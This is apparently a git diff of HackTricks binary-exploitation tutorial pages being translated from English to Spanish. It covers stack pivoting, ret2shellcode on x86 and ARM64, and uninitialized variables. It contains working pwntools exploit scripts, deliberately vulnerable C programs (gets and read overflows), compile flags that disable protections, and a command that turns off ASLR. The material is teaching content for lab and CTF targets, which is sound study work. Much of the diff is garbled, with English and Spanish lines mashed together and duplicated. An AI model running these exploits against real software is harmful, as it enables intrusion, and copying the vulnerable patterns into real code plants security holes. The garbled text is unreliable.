If, during `fvuln`'s execution, you manage to inject a **fake EBP** in the stack that points to an area in memory where your shellcode's address is located (plus 4 bytes to account for the `pop` operation), you can indirectly control the EIP. As `fvuln` returns, the ESP is set to this crafted location, and the subsequent `pop` operation decreases ESP by 4, **effectively making it point to an address store by the attacker in there.**\ Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. A medida que `fvuln` retorna, el ESP se establece en esta ubicación creada, y la siguiente operación `pop` disminuye el ESP en 4, **haciendo que apunte efectivamente a una dirección almacenada por el atacante allí.**\
Note how you **need to know 2 addresses**: The one where ESP is going to go, where you will need to write the address that is pointed by ESP. Nota cómo **necesitas conocer 2 direcciones**: La que donde va a ir el ESP, donde necesitarás escribir la dirección a la que apunta el ESP.
#### Exploit Construction #### Construcción del Exploit
First you need to know an **address where you can write arbitrary data / addresses**. The ESP will point here and **run the first `ret`**. Primero necesitas conocer una **dirección donde puedas escribir datos / direcciones arbitrarias**. El ESP apuntará aquí y **ejecutará el primer `ret`**.
Then, you need to know the address used by `ret` that will **execute arbitrary code**. You could use: Luego, necesitas conocer la dirección utilizada por `ret` que **ejecutará código arbitrario**. Podrías usar:
- A valid [**ONE_GADGET**](https://github.com/david942j/one_gadget) address. - Una dirección válida de [**ONE_GADGET**](https://github.com/david942j/one_gadget).
- The address of **`system()`** followed by **4 junk bytes** and the address of `"/bin/sh"` (x86 bits). - La dirección de **`system()`** seguida de **4 bytes basura** y la dirección de `"/bin/sh"` (bits x86).
- The address of a **`jump esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) followed by the **shellcode** to execute. - La dirección de un gadget de **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguida del **shellcode** a ejecutar.
- Some [**ROP**](../rop-return-oriented-programing/) chain - Alguna cadena de [**ROP**](../rop-return-oriented-programing/).
Remember than before any of these addresses in the controlled part of the memory, there must be **`4` bytes** because of the **`pop`** part of the `leave` instruction. It would be possible to abuse these 4B to set a **second fake EBP** and continue controlling the execution. Recuerda que antes de cualquiera de estas direcciones en la parte controlada de la memoria, debe haber **`4` bytes** debido a la parte de **`pop`** de la instrucción `leave`. Sería posible abusar de estos 4B para establecer un **segundo EBP falso** y continuar controlando la ejecución.
#### Off-By-One Exploit #### Exploit Off-By-One
There's a specific variant of this technique known as an "Off-By-One Exploit". It's used when you can **only modify the least significant byte of the EBP**. In such a case, the memory location storing the address to jumo to with the **`ret`** must share the first three bytes with the EBP, allowing for a similar manipulation with more constrained conditions.\ Hay una variante específica de esta técnica conocida como "Off-By-One Exploit". Se utiliza cuando puedes **modificar solo el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los primeros tres bytes con el EBP, permitiendo una manipulación similar con condiciones más restringidas.\
Usually it's modified the byte 0x00t o jump as far as possible. Usualmente se modifica el byte 0x00 para saltar lo más lejos posible.
Also, it's common to use a RET sled in the stack and put the real ROP chain at the end to make it more probably that the new ESP points inside the RET SLED and the final ROP chain is executed. Además, es común usar un RET sled en la pila y colocar la verdadera cadena ROP al final para hacer más probable que el nuevo ESP apunte dentro del RET SLED y se ejecute la cadena ROP final.
### **EBP Chaining** ### **Cadena EBP**
Therefore, putting a controlled address in the `EBP` entry of the stack and an address to `leave; ret` in `EIP`, it's possible to **move the `ESP` to the controlled `EBP` address from the stack**. Por lo tanto, al poner una dirección controlada en la entrada `EBP` de la pila y una dirección para `leave; ret` en `EIP`, es posible **mover el `ESP` a la dirección `EBP` controlada desde la pila**.
Now, the **`ESP`** is controlled pointing to a desired address and the next instruction to execute is a `RET`. To abuse this, it's possible to place in the controlled ESP place this: Ahora, el **`ESP`** está controlado apuntando a una dirección deseada y la siguiente instrucción a ejecutar es un `RET`. Para abusar de esto, es posible colocar en el lugar controlado del ESP esto:
- **`&(next fake EBP)`** -> Load the new EBP because of `pop ebp` from the `leave` instruction - **`&(next fake EBP)`** -> Cargar el nuevo EBP debido a `pop ebp` de la instrucción `leave`
- **`system()`** -> Called by `ret` - **`system()`** -> Llamado por `ret`
- **`&(leave;ret)`** -> Called after system ends, it will move ESP to the fake EBP and start agin - **`&(leave;ret)`** -> Llamado después de que el sistema termina, moverá el ESP al EBP falso y comenzará de nuevo
- **`&("/bin/sh")`**-> Param fro `system` - **`&("/bin/sh")`**-> Parámetro para `system`
Basically this way it's possible to chain several fake EBPs to control the flow of the program. Básicamente, de esta manera es posible encadenar varios EBP falsos para controlar el flujo del programa.
This is like a [ret2lib](../rop-return-oriented-programing/ret2lib/), but more complex with no apparent benefit but could be interesting in some edge-cases. Esto es como un [ret2lib](../rop-return-oriented-programing/ret2lib/), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite.
Moreover, here you have an [**example of a challenge**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) that uses this technique with a **stack leak** to call a winning function. This is the final payload from the page:
Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con una **fuga de pila** para llamar a una función ganadora. Este es el payload final de la página:
```python ```python
from pwn import * from pwn import *
@ -75,34 +72,32 @@ POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 POP_RSI_R15 = 0x401229
payload = flat( payload = flat(
0x0, # rbp (could be the address of anoter fake RBP) 0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI, POP_RDI,
0xdeadbeef, 0xdeadbeef,
POP_RSI_R15, POP_RSI_R15,
0xdeadc0de, 0xdeadc0de,
0x0, 0x0,
elf.sym['winner'] elf.sym['winner']
) )
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat( payload += flat(
buffer, # Load leak address in RBP buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
) )
pause() pause()
p.sendline(payload) p.sendline(payload)
print(p.recvline()) print(p.recvline())
``` ```
## EBP podría no ser utilizado
## EBP might not be used Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca controla ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene ningún efecto real.\
Esto se debe a que los **cambios de prólogo y epílogo** si el binario está optimizado.
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
This is because the **prologue and epilogue changes** if the binary is optimized.
- **Not optimized:**
- **No optimizado:**
```bash ```bash
push %ebp # save ebp push %ebp # save ebp
mov %esp,%ebp # set new ebp mov %esp,%ebp # set new ebp
@ -113,9 +108,7 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return ret # return
``` ```
- **Optimizado:**
- **Optimized:**
```bash ```bash
push %ebx # save ebx push %ebx # save ebx
sub $0x100,%esp # increase stack size sub $0x100,%esp # increase stack size
@ -126,13 +119,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx pop %ebx # restore ebx
ret # return ret # return
``` ```
## Otras formas de controlar RSP
## Other ways to control RSP
### **`pop rsp`** gadget ### **`pop rsp`** gadget
[**In this page**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) you can find an example using this technique. For this challenge it was needed to call a function with 2 specific arguments, and there was a **`pop rsp` gadget** and there is a **leak from the stack**: [**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para este desafío era necesario llamar a una función con 2 argumentos específicos, y había un **`pop rsp` gadget** y hay una **leak de la pila**:
```python ```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments # This version has added comments
@ -152,15 +143,15 @@ POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts # The payload starts
payload = flat( payload = flat(
0, # r13 0, # r13
0, # r14 0, # r14
0, # r15 0, # r15
POP_RDI, POP_RDI,
0xdeadbeef, 0xdeadbeef,
POP_RSI_R15, POP_RSI_R15,
0xdeadc0de, 0xdeadc0de,
0x0, # r15 0x0, # r15
elf.sym['winner'] elf.sym['winner']
) )
payload = payload.ljust(104, b'A') # pad to 104 payload = payload.ljust(104, b'A') # pad to 104
@ -168,66 +159,63 @@ payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and # Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload # continues the ROP chain in the prepared payload
payload += flat( payload += flat(
POP_CHAIN, POP_CHAIN,
buffer # rsp buffer # rsp
) )
pause() pause()
p.sendline(payload) p.sendline(payload)
print(p.recvline()) print(p.recvline())
``` ```
### xchg \<reg>, rsp gadget ### xchg \<reg>, rsp gadget
``` ```
pop <reg> <=== return pointer pop <reg> <=== return pointer
<reg value> <reg value>
xchg <reg>, rsp xchg <reg>, rsp
``` ```
### jmp esp ### jmp esp
Check the ret2esp technique here: Consulta la técnica ret2esp aquí:
{{#ref}} {{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md ../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}} {{#endref}}
## References & Other Examples ## Referencias y Otros Ejemplos
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bits, off by one exploitation with a rop chain starting with a ret sled - 64 bits, explotación off by one con una cadena rop que comienza con un ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing `.fini_array` entries + calling `__libc_csu_fini` ([more info here](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. - 64 bits, sin relro, canary, nx y pie. El programa otorga un leak para stack o pie y un WWW de un qword. Primero obtén el leak de stack y usa el WWW para volver y obtener el leak de pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de `.fini_array` + llamando a `__libc_csu_fini` ([más información aquí](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando de esta escritura "eterna", se escribe una cadena ROP en la .bss y se termina llamándola pivotando con RBP.
## ARM64 ## ARM64
In ARM64, the **prologue and epilogues** of the functions **don't store and retrieve the SP registry** in the stack. Moreover, the **`RET`** instruction don't return to the address pointed by SP, but **to the address inside `x30`**. En ARM64, los **prologos y epílogos** de las funciones **no almacenan ni recuperan el registro SP** en la pila. Además, la instrucción **`RET`** no regresa a la dirección apuntada por SP, sino **a la dirección dentro de `x30`**.
Therefore, by default, just abusing the epilogue you **won't be able to control the SP registry** by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to **control the `x30`** register. Por lo tanto, por defecto, solo abusando del epílogo **no podrás controlar el registro SP** sobrescribiendo algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de **controlar el registro `x30`**.
- prologue - prologo
```armasm ```armasm
sub sp, sp, 16 sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record mov x29, sp // FP apunta al registro de marco
``` ```
- epilogue - epílogo
```armasm ```armasm
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16 add sp, sp, 16
ret ret
``` ```
> [!CAUTION] > [!CAUTION]
> The way to perform something similar to stack pivoting in ARM64 would be to be able to **control the `SP`** (by controlling some register whose value is passed to `SP` or because for some reason `SP` is taking his address from the stack and we have an overflow) and then **abuse the epilogu**e to load the **`x30`** register from a **controlled `SP`** and **`RET`** to it. > La forma de realizar algo similar a la pivotación de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP`** controlado y **`RET`** a él.
Also in the following page you can see the equivalent of **Ret2esp in ARM64**: También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64**:
{{#ref}} {{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md ../rop-return-oriented-programing/ret2esp-ret2reg.md

View File

@ -2,49 +2,44 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
**Stack shellcode** is a technique used in **binary exploitation** where an attacker writes shellcode to a vulnerable program's stack and then modifies the **Instruction Pointer (IP)** or **Extended Instruction Pointer (EIP)** to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with **pwntools**. **Stack shellcode** es una técnica utilizada en **binary exploitation** donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** para apuntar a la ubicación de este shellcode, lo que provoca su ejecución. Este es un método clásico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**.
### C Example: A Vulnerable Program ### Ejemplo en C: Un Programa Vulnerable
Let's start with a simple example of a vulnerable C program:
Comencemos con un ejemplo simple de un programa C vulnerable:
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
void vulnerable_function() { void vulnerable_function() {
char buffer[64]; char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow gets(buffer); // Unsafe function that does not check for buffer overflow
} }
int main() { int main() {
vulnerable_function(); vulnerable_function();
printf("Returned safely\n"); printf("Returned safely\n");
return 0; return 0;
} }
``` ```
Este programa es vulnerable a un desbordamiento de búfer debido al uso de la función `gets()`.
This program is vulnerable to a buffer overflow due to the use of the `gets()` function. ### Compilación
### Compilation
To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:
Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando:
```sh ```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
``` ```
- `-fno-stack-protector`: Desactiva la protección de pila.
- `-z execstack`: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila.
- `-no-pie`: Desactiva el ejecutable independiente de posición, facilitando la predicción de la dirección de memoria donde se ubicará nuestro shellcode.
- `-m32`: Compila el programa como un ejecutable de 32 bits, a menudo utilizado por simplicidad en el desarrollo de exploits.
- `-fno-stack-protector`: Disables stack protection. ### Python Exploit usando Pwntools
- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.
### Python Exploit using Pwntools
Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack:
Aquí tienes cómo podrías escribir un exploit en Python usando **pwntools** para realizar un ataque **ret2shellcode**:
```python ```python
from pwn import * from pwn import *
@ -71,27 +66,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
Este script construye una carga útil que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute.
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed. El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección inicial de tu buffer más un desplazamiento para aterrizar en el NOP slide.
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. ## Protecciones
## Protections - [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **debe estar deshabilitado** para que la dirección sea confiable en todas las ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
- La protección de **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. ## Otros Ejemplos y Referencias
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection would prevent the execution of the shellcode inside the stack because that region won't be executable.
## Other Examples & References
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR with stack address leak, write shellcode and jump to it - 64bit, ASLR con filtración de dirección de pila, escribir shellcode y saltar a él
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR with stack leak, write shellcode and jump to it - 32 bit, ASLR con filtración de pila, escribir shellcode y saltar a él
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it - 32 bit, ASLR con filtración de pila, comparación para prevenir la llamada a exit(), sobrescribir variable con un valor y escribir shellcode y saltar a él
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack - arm64, sin ASLR, gadget ROP para hacer la pila ejecutable y saltar al shellcode en la pila
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,47 +2,40 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in: Encuentra una introducción a arm64 en:
{{#ref}} {{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}} {{#endref}}
## Code&#x20; ## Código&#x20;
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
void vulnerable_function() { void vulnerable_function() {
char buffer[64]; char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
} }
int main() { int main() {
vulnerable_function(); vulnerable_function();
return 0; return 0;
} }
``` ```
Compilar sin pie, canario y nx:
Compile without pie, canary and nx:
```bash ```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
``` ```
## No ASLR & No canary - Stack Overflow&#x20; ## No ASLR & No canary - Stack Overflow&#x20;
To stop ASLR execute: Para detener ASLR, ejecuta:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
Para obtener el [**offset del bof revisa este enlace**](../ret2win/ret2win-arm64.md#finding-the-offset).
To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset). Explotar:
Exploit:
```python ```python
from pwn import * from pwn import *
@ -73,9 +66,8 @@ p.send(payload)
# Drop to an interactive session # Drop to an interactive session
p.interactive() p.interactive()
``` ```
La única cosa "complicada" de encontrar aquí sería la dirección en la pila a la que llamar. En mi caso, generé el exploit con la dirección encontrada usando gdb, pero luego, al explotarlo, no funcionó (porque la dirección de la pila cambió un poco).
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit). Abrí el **`core` file** generado (`gdb ./bog ./core`) y verifiqué la dirección real del inicio del shellcode.
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,68 +1,66 @@
# Uninitialized Variables # Variables No Inicializadas
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example: La idea principal aquí es entender qué sucede con **las variables no inicializadas ya que tendrán el valor que ya estaba en la memoria asignada a ellas.** Ejemplo:
- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it. - **Función 1: `initializeVariable`**: Declaramos una variable `x` y le asignamos un valor, digamos `0x1234`. Esta acción es similar a reservar un espacio en la memoria y poner un valor específico en él.
- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location. - **Función 2: `useUninitializedVariable`**: Aquí, declaramos otra variable `y` pero no le asignamos ningún valor. En C, las variables no inicializadas no se establecen automáticamente en cero. En cambio, retienen el último valor que se almacenó en su ubicación de memoria.
When we run these two functions **sequentially**: Cuando ejecutamos estas dos funciones **secuencialmente**:
1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address. 1. En `initializeVariable`, `x` se le asigna un valor (`0x1234`), que ocupa una dirección de memoria específica.
2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there. 2. En `useUninitializedVariable`, `y` se declara pero no se le asigna un valor, por lo que toma el espacio de memoria justo después de `x`. Debido a que no se inicializa `y`, termina "heredando" el valor de la misma ubicación de memoria utilizada por `x`, porque ese es el último valor que estuvo allí.
This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory. Este comportamiento ilustra un concepto clave en la programación de bajo nivel: **La gestión de memoria es crucial**, y las variables no inicializadas pueden llevar a un comportamiento impredecible o vulnerabilidades de seguridad, ya que pueden contener involuntariamente datos sensibles que quedan en la memoria.
Uninitialized stack variables could pose several security risks like: Las variables de pila no inicializadas podrían presentar varios riesgos de seguridad como:
- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data. - **Filtración de Datos**: Información sensible como contraseñas, claves de cifrado o detalles personales pueden ser expuestos si se almacenan en variables no inicializadas, permitiendo a los atacantes potencialmente leer estos datos.
- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits. - **Divulgación de Información**: El contenido de las variables no inicializadas podría revelar detalles sobre el diseño de la memoria del programa o las operaciones internas, ayudando a los atacantes a desarrollar exploits dirigidos.
- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes. - **Caídas e Inestabilidad**: Las operaciones que involucran variables no inicializadas pueden resultar en un comportamiento indefinido, llevando a caídas del programa o resultados impredecibles.
- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats. - **Ejecución de Código Arbitrario**: En ciertos escenarios, los atacantes podrían explotar estas vulnerabilidades para alterar el flujo de ejecución del programa, permitiéndoles ejecutar código arbitrario, lo que podría incluir amenazas de ejecución remota de código.
### Example
### Ejemplo
```c ```c
#include <stdio.h> #include <stdio.h>
// Function to initialize and print a variable // Function to initialize and print a variable
void initializeAndPrint() { void initializeAndPrint() {
int initializedVar = 100; // Initialize the variable int initializedVar = 100; // Initialize the variable
printf("Initialized Variable:\n"); printf("Initialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar); printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
} }
// Function to demonstrate the behavior of an uninitialized variable // Function to demonstrate the behavior of an uninitialized variable
void demonstrateUninitializedVar() { void demonstrateUninitializedVar() {
int uninitializedVar; // Declare but do not initialize int uninitializedVar; // Declare but do not initialize
printf("Uninitialized Variable:\n"); printf("Uninitialized Variable:\n");
printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar); printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
} }
int main() { int main() {
printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n"); printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
// First, call the function that initializes its variable // First, call the function that initializes its variable
initializeAndPrint(); initializeAndPrint();
// Then, call the function that has an uninitialized variable // Then, call the function that has an uninitialized variable
demonstrateUninitializedVar(); demonstrateUninitializedVar();
return 0; return 0;
} }
``` ```
#### Cómo Funciona Esto:
#### How This Works: - **`initializeAndPrint` Function**: Esta función declara una variable entera `initializedVar`, le asigna el valor `100` y luego imprime tanto la dirección de memoria como el valor de la variable. Este paso es sencillo y muestra cómo se comporta una variable inicializada.
- **`demonstrateUninitializedVar` Function**: En esta función, declaramos una variable entera `uninitializedVar` sin inicializarla. Cuando intentamos imprimir su valor, la salida puede mostrar un número aleatorio. Este número representa cualquier dato que estaba previamente en esa ubicación de memoria. Dependiendo del entorno y del compilador, la salida real puede variar, y a veces, por seguridad, algunos compiladores pueden inicializar automáticamente las variables a cero, aunque esto no debe ser confiado.
- **`main` Function**: La función `main` llama a ambas funciones anteriores en secuencia, demostrando el contraste entre una variable inicializada y una no inicializada.
- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves. ## Ejemplo ARM64
- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
